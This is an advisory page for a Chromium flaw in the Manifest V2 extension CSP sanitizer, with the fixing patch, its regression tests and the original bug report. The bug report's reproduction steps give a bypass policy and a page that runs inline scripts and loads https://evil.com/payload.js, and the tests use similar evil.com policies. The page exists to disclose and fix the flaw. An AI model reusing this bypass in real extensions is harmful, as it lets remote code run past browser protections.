CVE-2026-11267
Overview
Files Changed
extensions/common/csp_validator.ccextensions/common/csp_validator_unittest.cc
Patch
From 99e25910cd77090be2f9a82e51715fdf7736f0ec Mon Sep 17 00:00:00 2001 From: Andrew Paseltiner <[email protected]> Date: Thu, 30 Apr 2026 05:20:54 -0700 Subject: [PATCH] Extensions: Fix CSP Level 3 bypass in Manifest V2 enforcer The Manifest V2 CSP sanitizer was failing to process CSP Level 3 directives such as 'script-src-elem' and 'script-src-attr'. Because these directives take precedence over 'script-src' in Blink, an extension could use them to bypass mandatory security restrictions and execute inline scripts or load remote code. Furthermore, 'worker-src' and 'child-src' were not being sanitized by ExtensionCSPEnforcer. Since these also take precedence over 'script-src' for loading Web Workers, they provided another bypass vector. Note that AppSandboxPageCSPEnforcer already included 'child-src' (grouped with 'frame-src'), but it was also missing the other directives. This CL updates ExtensionCSPEnforcer and AppSandboxPageCSPEnforcer to recognize and sanitize 'script-src-elem', 'script-src-attr', 'worker-src', and 'child-src' by grouping them with 'script-src'. This ensures that they are correctly stripped of insecure values (like 'unsafe-inline' or insecure remote hosts) during manifest parsing. Fixed: 500528267 Change-Id: I11076e68277abc1448e1aa8344bb55dfb844cc72 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7803457 Commit-Queue: Andrew Paseltiner <[email protected]> Reviewed-by: Finnur Thorarinsson <[email protected]> Reviewed-by: Reilly Grant <[email protected]> Cr-Commit-Position: refs/heads/main@{#1623098} --- diff --git a/extensions/common/csp_validator.cc b/extensions/common/csp_validator.cc index 4561568..f253acc 100644 --- a/extensions/common/csp_validator.cc +++ b/extensions/common/csp_validator.cc @@ -38,6 +38,8 @@ const char kDefaultSrc[] = "default-src"; const char kScriptSrc[] = "script-src"; +const char kScriptSrcElem[] = "script-src-elem"; +const char kScriptSrcAttr[] = "script-src-attr"; const char kObjectSrc[] = "object-src"; const char kFrameSrc[] = "frame-src"; const char kChildSrc[] = "child-src"; @@ -487,7 +489,8 @@ : CSPEnforcer(std::move(manifest_key), true, base::BindRepeating(&GetSecureDirectiveValues, options)) { - secure_directives_.emplace_back(std::vector<std::string>({kScriptSrc})); + secure_directives_.emplace_back(std::vector<std::string>( + {kScriptSrc, kScriptSrcElem, kScriptSrcAttr, kWorkerSrc, kChildSrc})); if (!allow_insecure_object_src) secure_directives_.emplace_back(std::vector<std::string>({kObjectSrc})); } @@ -499,7 +502,9 @@ std::string GetDefaultCSPValue(const DirectiveStatus& status) override { if (status.Matches(kObjectSrc)) return kObjectSrcDefaultDirective; - DCHECK(status.Matches(kScriptSrc)); + DCHECK(status.Matches(kScriptSrc) || status.Matches(kScriptSrcElem) || + status.Matches(kScriptSrcAttr) || status.Matches(kWorkerSrc) || + status.Matches(kChildSrc)); return kScriptSrcDefaultDirective; } }; @@ -512,7 +517,8 @@ base::BindRepeating(&GetAppSandboxSecureDirectiveValues)) { secure_directives_.emplace_back( std::vector<std::string>({kChildSrc, kFrameSrc})); - secure_directives_.emplace_back(std::vector<std::string>({kScriptSrc})); + secure_directives_.emplace_back(std::vector<std::string>( + {kScriptSrc, kScriptSrcElem, kScriptSrcAttr, kWorkerSrc})); } AppSandboxPageCSPEnforcer(const AppSandboxPageCSPEnforcer&) = delete; @@ -523,7 +529,8 @@ std::string GetDefaultCSPValue(const DirectiveStatus& status) override { if (status.Matches(kChildSrc)) return kAppSandboxSubframeSrcDefaultDirective; - DCHECK(status.Matches(kScriptSrc)); + DCHECK(status.Matches(kScriptSrc) || status.Matches(kScriptSrcElem) || + status.Matches(kScriptSrcAttr) || status.Matches(kWorkerSrc)); return kAppSandboxScriptSrcDefaultDirective; } }; diff --git a/extensions/common/csp_validator_unittest.cc b/extensions/common/csp_validator_unittest.cc index 5323bf57..ffa831b 100644 --- a/extensions/common/csp_validator_unittest.cc +++ b/extensions/common/csp_validator_unittest.cc @@ -431,6 +431,33 @@ InsecureValueWarning("script-src", "'sha1-eYyYGmKWdhpUewohaXk9o8IaLSw='"))); + // Verify that CSP Level 3 directives are sanitized. They are grouped with + // script-src, so only the first one seen will emit warnings. + // See crbug.com/500528267. + EXPECT_TRUE( + CheckCSP(SanitizeCSP("script-src-elem 'unsafe-inline' http://evil.com; " + "script-src-attr 'unsafe-inline'", + OPTIONS_ALLOW_UNSAFE_EVAL), + "script-src-elem; script-src-attr; object-src 'self';", + std::vector<std::string>{ + InsecureValueWarning("script-src-elem", "'unsafe-inline'"), + InsecureValueWarning("script-src-elem", "http://evil.com"), + missing_secure_src_warning("object-src")})); + + EXPECT_TRUE(CheckCSP( + SanitizeCSP("worker-src http://evil.com", OPTIONS_ALLOW_UNSAFE_EVAL), + "worker-src; object-src 'self';", + std::vector<std::string>{ + InsecureValueWarning("worker-src", "http://evil.com"), + missing_secure_src_warning("object-src")})); + + EXPECT_TRUE(CheckCSP( + SanitizeCSP("child-src http://evil.com", OPTIONS_ALLOW_UNSAFE_EVAL), + "child-src; object-src 'self';", + std::vector<std::string>{ + InsecureValueWarning("child-src", "http://evil.com"), + missing_secure_src_warning("object-src")})); + EXPECT_TRUE(CheckCSP( SanitizeCSP("default-src; script-src " "'sha256-hndjYvzUzy2Ykuad81Cwsl1FOXX/qYs/aDVyUyNZ" @@ -552,6 +579,25 @@ "child-src 'self'; script-src 'none';", insecure_value_warning("child-src", "http://bar.com"), insecure_value_warning("child-src", "http://foo.com"))); + + // Verify that CSP Level 3 directives are sanitized for sandboxed pages. + // See crbug.com/500528267. + EXPECT_TRUE( + CheckCSP(SanitizeSandboxPageCSP("script-src-elem 'unsafe-inline' " + "http://evil.com"), + "script-src-elem 'unsafe-inline' 'self'; child-src 'self';", + insecure_value_warning("script-src-elem", "http://evil.com"))); + + EXPECT_TRUE( + CheckCSP(SanitizeSandboxPageCSP("script-src-attr 'unsafe-inline' " + "http://evil.com"), + "script-src-attr 'unsafe-inline' 'self'; child-src 'self';", + insecure_value_warning("script-src-attr", "http://evil.com"))); + + EXPECT_TRUE( + CheckCSP(SanitizeSandboxPageCSP("worker-src http://evil.com"), + "worker-src 'self'; child-src 'self';", + insecure_value_warning("worker-src", "http://evil.com"))); } namespace extensions {
Regression Test / PoC
diff --git a/extensions/common/csp_validator_unittest.cc b/extensions/common/csp_validator_unittest.cc
index 5323bf57..ffa831b 100644
--- a/extensions/common/csp_validator_unittest.cc
+++ b/extensions/common/csp_validator_unittest.cc
@@ -431,6 +431,33 @@
InsecureValueWarning("script-src",
"'sha1-eYyYGmKWdhpUewohaXk9o8IaLSw='")));
+ // Verify that CSP Level 3 directives are sanitized. They are grouped with
+ // script-src, so only the first one seen will emit warnings.
+ // See crbug.com/500528267.
+ EXPECT_TRUE(
+ CheckCSP(SanitizeCSP("script-src-elem 'unsafe-inline' http://evil.com; "
+ "script-src-attr 'unsafe-inline'",
+ OPTIONS_ALLOW_UNSAFE_EVAL),
+ "script-src-elem; script-src-attr; object-src 'self';",
+ std::vector<std::string>{
+ InsecureValueWarning("script-src-elem", "'unsafe-inline'"),
+ InsecureValueWarning("script-src-elem", "http://evil.com"),
+ missing_secure_src_warning("object-src")}));
+
+ EXPECT_TRUE(CheckCSP(
+ SanitizeCSP("worker-src http://evil.com", OPTIONS_ALLOW_UNSAFE_EVAL),
+ "worker-src; object-src 'self';",
+ std::vector<std::string>{
+ InsecureValueWarning("worker-src", "http://evil.com"),
+ missing_secure_src_warning("object-src")}));
+
+ EXPECT_TRUE(CheckCSP(
+ SanitizeCSP("child-src http://evil.com", OPTIONS_ALLOW_UNSAFE_EVAL),
+ "child-src; object-src 'self';",
+ std::vector<std::string>{
+ InsecureValueWarning("child-src", "http://evil.com"),
+ missing_secure_src_warning("object-src")}));
+
EXPECT_TRUE(CheckCSP(
SanitizeCSP("default-src; script-src "
"'sha256-hndjYvzUzy2Ykuad81Cwsl1FOXX/qYs/aDVyUyNZ"
@@ -552,6 +579,25 @@
"child-src 'self'; script-src 'none';",
insecure_value_warning("child-src", "http://bar.com"),
insecure_value_warning("child-src", "http://foo.com")));
+
+ // Verify that CSP Level 3 directives are sanitized for sandboxed pages.
+ // See crbug.com/500528267.
+ EXPECT_TRUE(
+ CheckCSP(SanitizeSandboxPageCSP("script-src-elem 'unsafe-inline' "
+ "http://evil.com"),
+ "script-src-elem 'unsafe-inline' 'self'; child-src 'self';",
+ insecure_value_warning("script-src-elem", "http://evil.com")));
+
+ EXPECT_TRUE(
+ CheckCSP(SanitizeSandboxPageCSP("script-src-attr 'unsafe-inline' "
+ "http://evil.com"),
+ "script-src-attr 'unsafe-inline' 'self'; child-src 'self';",
+ insecure_value_warning("script-src-attr", "http://evil.com")));
+
+ EXPECT_TRUE(
+ CheckCSP(SanitizeSandboxPageCSP("worker-src http://evil.com"),
+ "worker-src 'self'; child-src 'self';",
+ insecure_value_warning("worker-src", "http://evil.com")));
}
namespace extensions {
Original Bug Report
CSP bypass in MV2 extensions via script-src-elem/attr
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.
Overview: The Manifest V2 CSP sanitizer fails to process CSP Level 3 directives such as script-src-elem and script-src-attr. Because these directives take precedence over script-src in Blink, an extension can use them to bypass mandatory security restrictions and execute inline scripts or load remote code.
Affected files:
extensions/common/csp_validator.ccextensions/common/manifest_handlers/csp_info.cc
Estimated timestamp from git blame: 2025-03-06
Description
When loading a Manifest V2 extension, Chrome sanitizes the user-provided Content Security Policy (CSP) to ensure it adheres to baseline security requirements, such as disallowing remote script sources or 'unsafe-inline'.
This sanitization is performed by ExtensionCSPEnforcer (extensions/common/csp_validator.cc). However, the enforcer’s secure_directives_ list only includes kScriptSrc (script-src) and kObjectSrc (object-src). If an extension manifest includes CSP Level 3 directives like script-src-elem or script-src-attr, the enforcer fails to match them. Because they do not match any secure directive, CSPEnforcer::Enforce() passes them through to the final policy unmodified.
At runtime, the Blink rendering engine correctly honors the CSP Level 3 specification, where script-src-elem overrides script-src for <script> tags, and script-src-attr overrides script-src for inline event handlers.
Consequently, an attacker can specify a manifest like:
"content_security_policy": "script-src 'self'; script-src-elem 'unsafe-inline' https://evil.com; script-src-attr 'unsafe-inline'"
The sanitizer will securely enforce script-src 'self', but leave the insecure Level 3 directives intact. Because extensions::CSPInfo::GetMinimumCSPToAppend simply returns this parsed CSP for MV2 extensions (unlike MV3, which appends a hardcoded secure minimum CSP), there is no fallback protection. Blink will execute the inline scripts and load the remote code, completely bypassing the intended extension security boundary.
Potential Steps to Reproduce
Note: These are suggested steps based on static analysis.
- Ensure Manifest V2 support is enabled (e.g., via enterprise policies or by loading an unpacked component extension).
- Create an extension with the following in
manifest.json:"content_security_policy": "script-src 'self'; script-src-elem 'unsafe-inline' https://evil.com; script-src-attr 'unsafe-inline'" - Create an extension page (e.g.,
popup.html) containing an inline script and a remote script:<script>alert('Inline Script Executed');</script> <script src="https://evil.com/payload.js"></script> <img src="invalid" onerror="alert('Event Handler Executed')"> - Load the extension and open the page.
- Observe that the scripts execute successfully, confirming the bypass.
Suggested Fix
Update ExtensionCSPEnforcer in extensions/common/csp_validator.cc to recognize and sanitize script-src-elem and script-src-attr (and potentially other relevant Level 3 directives) alongside script-src. Alternatively, the parser could be updated to explicitly reject any unrecognized *-src directives to prevent future bypasses when new CSP features are introduced.
Evaluated with Chrome root at commit: 137d451a126685dd5010e6609db9f6d4a78d8234
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.